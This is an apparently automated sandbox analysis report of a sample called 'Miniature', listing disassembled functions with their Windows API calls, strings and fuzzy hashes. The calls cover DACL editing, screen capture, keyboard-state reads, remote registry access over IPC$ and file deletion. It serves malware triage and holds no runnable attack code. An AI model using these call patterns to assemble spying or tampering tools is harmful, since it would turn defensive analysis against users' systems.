Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 3e678eff1abbae2ad8529d4b6e2660eb773c9cedf151ccbc42780abcd0c60796
Instruction ID: 538498325938fbcfa3d4c46e60694a42c9e4c967ed597ba785b663595d38ca6f
Opcode Fuzzy Hash: 3e678eff1abbae2ad8529d4b6e2660eb773c9cedf151ccbc42780abcd0c60796
Instruction Fuzzy Hash: 0381BE71248301AFE761CF18CA84AABBBE9FF88314F10455EF9C593285C739D905DBA2

Function 00FE8ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE8E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FE8E3C
Part of subcall function 00FE8E20: GetLastError.KERNEL32(?,00FE8900,?,?,?), ref: 00FE8E46
Part of subcall function 00FE8E20: GetProcessHeap.KERNEL32(00000008,?,?,00FE8900,?,?,?), ref: 00FE8E55
Part of subcall function 00FE8E20: HeapAlloc.KERNEL32(00000000,?,00FE8900,?,?,?), ref: 00FE8E5C
Part of subcall function 00FE8E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FE8E73

Part of subcall function 00FE8EBD: GetProcessHeap.KERNEL32(00000008,00FE8916,00000000,00000000,?,00FE8916,?), ref: 00FE8EC9
Part of subcall function 00FE8EBD: HeapAlloc.KERNEL32(00000000,?,00FE8916,?), ref: 00FE8ED0
Part of subcall function 00FE8EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00FE8916,?), ref: 00FE8EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00FE8B2E
_memset.LIBCMT ref: 00FE8B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00FE8B62
GetLengthSid.ADVAPI32(?), ref: 00FE8B73
GetAce.ADVAPI32(?,00000000,?), ref: 00FE8BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00FE8BCC
GetLengthSid.ADVAPI32(?), ref: 00FE8BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00FE8BF8
HeapAlloc.KERNEL32(00000000), ref: 00FE8BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00FE8C20
CopySid.ADVAPI32(00000000), ref: 00FE8C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00FE8C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00FE8C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00FE8C92

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 1c024a5ccd7995cad9261ede173a9ba1f6e219dabcac143ee8674687bb186d81
Instruction ID: 2324d131a2f33caded9ddd01c3a3c7c2f2e0ff5a8662c169d80a5587306bbd6c
Opcode Fuzzy Hash: 1c024a5ccd7995cad9261ede173a9ba1f6e219dabcac143ee8674687bb186d81
Instruction Fuzzy Hash: BD618F70900249AFDF20EF95DC84EEEBB79FF04350F148159F919A7294DB399A02DB60

Function 01007A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 01007A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 01007A85
CreateCompatibleDC.GDI32(?), ref: 01007A91
SelectObject.GDI32(00000000,?), ref: 01007A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 01007AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 01007B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 01007B52
SelectObject.GDI32(00000006,?), ref: 01007B5A
DeleteObject.GDI32(?), ref: 01007B63
DeleteDC.GDI32(00000006), ref: 01007B6A
ReleaseDC.USER32(00000000,?), ref: 01007B75

Strings

(, xrefs: 01007AFA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 756a8c8d4df40470c17544f3557bb6a13fafea741140aea7c766e7a25f8ae199
Instruction ID: fb20c5c5c15421daaf9c90a0d11fe8c8926003a4c79258d0e52ce8145b8ed8e8
Opcode Fuzzy Hash: 756a8c8d4df40470c17544f3557bb6a13fafea741140aea7c766e7a25f8ae199
Instruction Fuzzy Hash: D0514F71900309EFEB25CF98C884EAEBBB9FF49310F14851DF98997250D739A941CB50

Function 00FFA48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00FFA4D4

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00FFA4F6
__swprintf.LIBCMT ref: 00FFA54F
__swprintf.LIBCMT ref: 00FFA568
_wprintf.LIBCMT ref: 00FFA61E
_wprintf.LIBCMT ref: 00FFA63C

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00FFA619
Line %d (File "%s"):, xrefs: 00FFA549, 00FFA562
^ ERROR, xrefs: 00FFA5C0
Error: , xrefs: 00FFA5E6
"%s" (%d) : ==> %s:, xrefs: 00FFA637

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: d1235e0f47354227e441cf8c9b967552a251393591781b48f57680f52a40862b
Instruction ID: 5a34b21677137fc395a59c66885eba00f6747acb20f7a01804760924292dd034
Opcode Fuzzy Hash: d1235e0f47354227e441cf8c9b967552a251393591781b48f57680f52a40862b
Instruction Fuzzy Hash: 275194B1900119ABCF25EBE0CD86EEEB779BF09340F140165F505B2061EB396F58EB51

Function 00FF9710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF951A: __time64.LIBCMT ref: 00FF9524

Part of subcall function 00FA4A8C: _fseek.LIBCMT ref: 00FA4AA4

__wsplitpath.LIBCMT ref: 00FF97EF

Part of subcall function 00FB431E: __wsplitpath_helper.LIBCMT ref: 00FB435E

_wcscpy.LIBCMT ref: 00FF9802
_wcscat.LIBCMT ref: 00FF9815
__wsplitpath.LIBCMT ref: 00FF983A
_wcscat.LIBCMT ref: 00FF9850
_wcscat.LIBCMT ref: 00FF9863

Part of subcall function 00FF9560: _memmove.LIBCMT ref: 00FF9599
Part of subcall function 00FF9560: _memmove.LIBCMT ref: 00FF95A8

_wcscmp.LIBCMT ref: 00FF97AA

Part of subcall function 00FF9CF1: _wcscmp.LIBCMT ref: 00FF9DE1
Part of subcall function 00FF9CF1: _wcscmp.LIBCMT ref: 00FF9DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00FF9A0D
_wcsncpy.LIBCMT ref: 00FF9A80
DeleteFileW.KERNEL32(?,?), ref: 00FF9AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00FF9ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FF9ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FF9AEF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 53ff0a81fca1987a3da124f05577b02c63a8853a6182f5ed17f05d4065f0e4d9
Instruction ID: 2271f7a26106dae4542e81e0311250c5e91c6f7df452799b4b2e1047a896d83d
Opcode Fuzzy Hash: 53ff0a81fca1987a3da124f05577b02c63a8853a6182f5ed17f05d4065f0e4d9
Instruction Fuzzy Hash: 35C15CB1D0021DAACF21DF95CC85AEEB7BDEF45310F0040AAF609E7151EBB49A849F65

Function 00FA5BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA5BF1
GetMenuItemCount.USER32(01057890), ref: 00FE0E7B
GetMenuItemCount.USER32(01057890), ref: 00FE0F2B
GetCursorPos.USER32(?), ref: 00FE0F6F
SetForegroundWindow.USER32(00000000), ref: 00FE0F78
TrackPopupMenuEx.USER32(01057890,00000000,?,00000000,00000000,00000000), ref: 00FE0F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00FE0F97

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 9a911fa1df0bb7b6329dc82bcc7aca1f605275474f51839ecc8be958b572fb59
Instruction ID: ab2beac1aadd0ad736c3d5ecf46a966635ad239bb340048842610fb2926cd73c
Opcode Fuzzy Hash: 9a911fa1df0bb7b6329dc82bcc7aca1f605275474f51839ecc8be958b572fb59
Instruction Fuzzy Hash: 7471F070A00759BEEB309F65CC85FAABF64FF05764F200216F6146A1D0CBB568A0EB90

Function 00FE83FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

_memset.LIBCMT ref: 00FE8489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00FE84BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00FE84DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00FE84F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00FE8520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00FE8548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00FE8553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00FE8558

Strings

\CLSID, xrefs: 00FE8440
\IPC$, xrefs: 00FE84A0
SOFTWARE\Classes\, xrefs: 00FE842A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 8e058ab22536f514e0300e6d853da64a60c7df5242ac3cf7093f090c20a8023d
Instruction ID: 98a172fad52d5c39c04394bb36f7d3189707011a11896b3671d091f58835090a
Opcode Fuzzy Hash: 8e058ab22536f514e0300e6d853da64a60c7df5242ac3cf7093f090c20a8023d
Instruction Fuzzy Hash: 674124B6C1022DABCB21EBA4DC95DEEB7B8FF08350F054129F845A3155EA399E05DB90

Function 0101147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101040D,?,?), ref: 01011491

Strings

HKCU, xrefs: 01011581
HKU, xrefs: 010115A3
HKEY_USERS, xrefs: 01011592
HKCR, xrefs: 01011539
HKEY_CLASSES_ROOT, xrefs: 01011524
HKEY_LOCAL_MACHINE, xrefs: 010114FA
HKCC, xrefs: 0101155F
HKLM, xrefs: 0101150F
HKEY_CURRENT_CONFIG, xrefs: 0101154E
HKEY_CURRENT_USER, xrefs: 01011570

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: ca3a949d63db6b12c81f879a321ff2d9a5a734bffb72176be1b303204f1ac7e4
Instruction ID: 4ffd97e177b1cae6260fdd4257ce3380316d9f0af30ff6a6f50bc04bf7a82db2
Opcode Fuzzy Hash: ca3a949d63db6b12c81f879a321ff2d9a5a734bffb72176be1b303204f1ac7e4
Instruction Fuzzy Hash: 4141697050121ACBDF15EFA4DD80AEA3764BF06300F544454FED2572A6DF38E919DB60

Function 00FF5882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

Part of subcall function 00FA153B: _memmove.LIBCMT ref: 00FA15C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00FF58EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00FF5901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FF5912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00FF5924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00FF5935

Strings

play PlayMe wait, xrefs: 00FF591F
open , xrefs: 00FF589A
close PlayMe, xrefs: 00FF58FC, 00FF5929
alias PlayMe, xrefs: 00FF58C4
status PlayMe mode, xrefs: 00FF58E6
play PlayMe, xrefs: 00FF5930

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: d91c57fb30618741deaf296ae699b69126843facf1f0c403e6e5f5a665396fa7
Instruction ID: 5c61114304627a58e81da30862801047f512111408bff99b4f622f3af2f65a98
Opcode Fuzzy Hash: d91c57fb30618741deaf296ae699b69126843facf1f0c403e6e5f5a665396fa7
Instruction Fuzzy Hash: 2911B2B195012DBAD734A7A3CC9ADFF7B7CFFD2F51F400429B941A6090DAA09D04D5A0

Function 00FF4C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00FF4C27
gethostname.WSOCK32(?,00000100), ref: 00FF4C41
gethostbyname.WSOCK32(?), ref: 00FF4C4E
_wcscpy.LIBCMT ref: 00FF4C76
_memmove.LIBCMT ref: 00FF4C89
inet_ntoa.WSOCK32(?), ref: 00FF4C94
_strcat.LIBCMT ref: 00FF4CA2
_wcscpy.LIBCMT ref: 00FF4CB9
WSACleanup.WSOCK32 ref: 00FF4CC7
_wcscpy.LIBCMT ref: 00FF4CD5

Strings

0.0.0.0, xrefs: 00FF4C70

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 10c1671c7b5260ea16b0fe9299efb921d6942dea009f49b67e14e202f0c9b61b
Instruction ID: b541e4983d3b03271f1a656b9cc5cc79cfbc8d0b169c5153bfc1c321ee0b0272
Opcode Fuzzy Hash: 10c1671c7b5260ea16b0fe9299efb921d6942dea009f49b67e14e202f0c9b61b
Instruction Fuzzy Hash: BD113A3190520CABCB31BB619C4AEFB77BCDF41720F1402A5F28896095FF79A981AB50

Function 00FF5530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00FF5535

Part of subcall function 00FB083E: timeGetTime.WINMM(?,00000002,00F9C22C), ref: 00FB0842

Sleep.KERNEL32(0000000A), ref: 00FF5561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00FF5585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00FF55A7
SetActiveWindow.USER32 ref: 00FF55C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00FF55D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 00FF55F3
Sleep.KERNEL32(000000FA), ref: 00FF55FE
IsWindow.USER32 ref: 00FF560A
EndDialog.USER32(00000000), ref: 00FF561B

Strings

BUTTON, xrefs: 00FF5599

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 3e6b85befa8d07b0d0acac17021c2dc9ff0da0fbd6df8d4de0c27d567091fdfa
Instruction ID: c014b8c759ade12b3551e3fb464e4039fcbc6c17c29a7eafbf398ae183fb1dba
Opcode Fuzzy Hash: 3e6b85befa8d07b0d0acac17021c2dc9ff0da0fbd6df8d4de0c27d567091fdfa
Instruction Fuzzy Hash: A4219A70204708AFEB715F61EC88B363B6AEB48B58F285019F781C116DCA7A8D40EB61

Function 00FFDBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

CoInitialize.OLE32(00000000), ref: 00FFDC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00FFDCC0
SHGetDesktopFolder.SHELL32(?), ref: 00FFDCD4
CoCreateInstance.OLE32(01023D4C,00000000,00000001,0104B86C,?), ref: 00FFDD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00FFDD8F
CoTaskMemFree.OLE32(?,?), ref: 00FFDDE7
_memset.LIBCMT ref: 00FFDE24
SHBrowseForFolderW.SHELL32(?), ref: 00FFDE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00FFDE83
CoTaskMemFree.OLE32(00000000), ref: 00FFDE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00FFDEC1
CoUninitialize.OLE32(00000001,00000000), ref: 00FFDEC3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 9a1211c77120f0d5bdc019077d7485c2a97b3c634aed77e5bd5f72ee864167df
Instruction ID: 5fd6780c11875f579e5adcfc443fdc4d70977dbc2d4f7fcb560c81710216cb51
Opcode Fuzzy Hash: 9a1211c77120f0d5bdc019077d7485c2a97b3c634aed77e5bd5f72ee864167df
Instruction Fuzzy Hash: 58B1F975A00209AFDB14DFA4C888DAEBBB9FF48314B108459F909EB361DB35EE41DB50

Function 00FF081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00FF0896
SetKeyboardState.USER32(?), ref: 00FF0901
GetAsyncKeyState.USER32(000000A0), ref: 00FF0921
GetKeyState.USER32(000000A0), ref: 00FF0938
GetAsyncKeyState.USER32(000000A1), ref: 00FF0967
GetKeyState.USER32(000000A1), ref: 00FF0978
GetAsyncKeyState.USER32(00000011), ref: 00FF09A4
GetKeyState.USER32(00000011), ref: 00FF09B2
GetAsyncKeyState.USER32(00000012), ref: 00FF09DB
GetKeyState.USER32(00000012), ref: 00FF09E9
GetAsyncKeyState.USER32(0000005B), ref: 00FF0A12
GetKeyState.USER32(0000005B), ref: 00FF0A20

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ba2d5df48995b53f07631025e7963df698f81bda3e657ef2ab469e000b24872e
Instruction ID: e80375660f0cc57fbbcb4997531399d1179553f7da5deee961d55847f0b6e525
Opcode Fuzzy Hash: ba2d5df48995b53f07631025e7963df698f81bda3e657ef2ab469e000b24872e
Instruction Fuzzy Hash: 6851C930D0478C69FB35DBA088147BABFB49F013A0F084599D6C2575D3EEA89A4CD795

Function 00FECE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00FECE1C
GetWindowRect.USER32(00000000,?), ref: 00FECE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00FECE8C
GetDlgItem.USER32(?,00000002), ref: 00FECE97
GetWindowRect.USER32(00000000,?), ref: 00FECEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00FECEFD
GetDlgItem.USER32(?,000003E9), ref: 00FECF0B
GetWindowRect.USER32(00000000,?), ref: 00FECF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00FECF5F
GetDlgItem.USER32(?,000003EA), ref: 00FECF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00FECF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 00FECF97

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
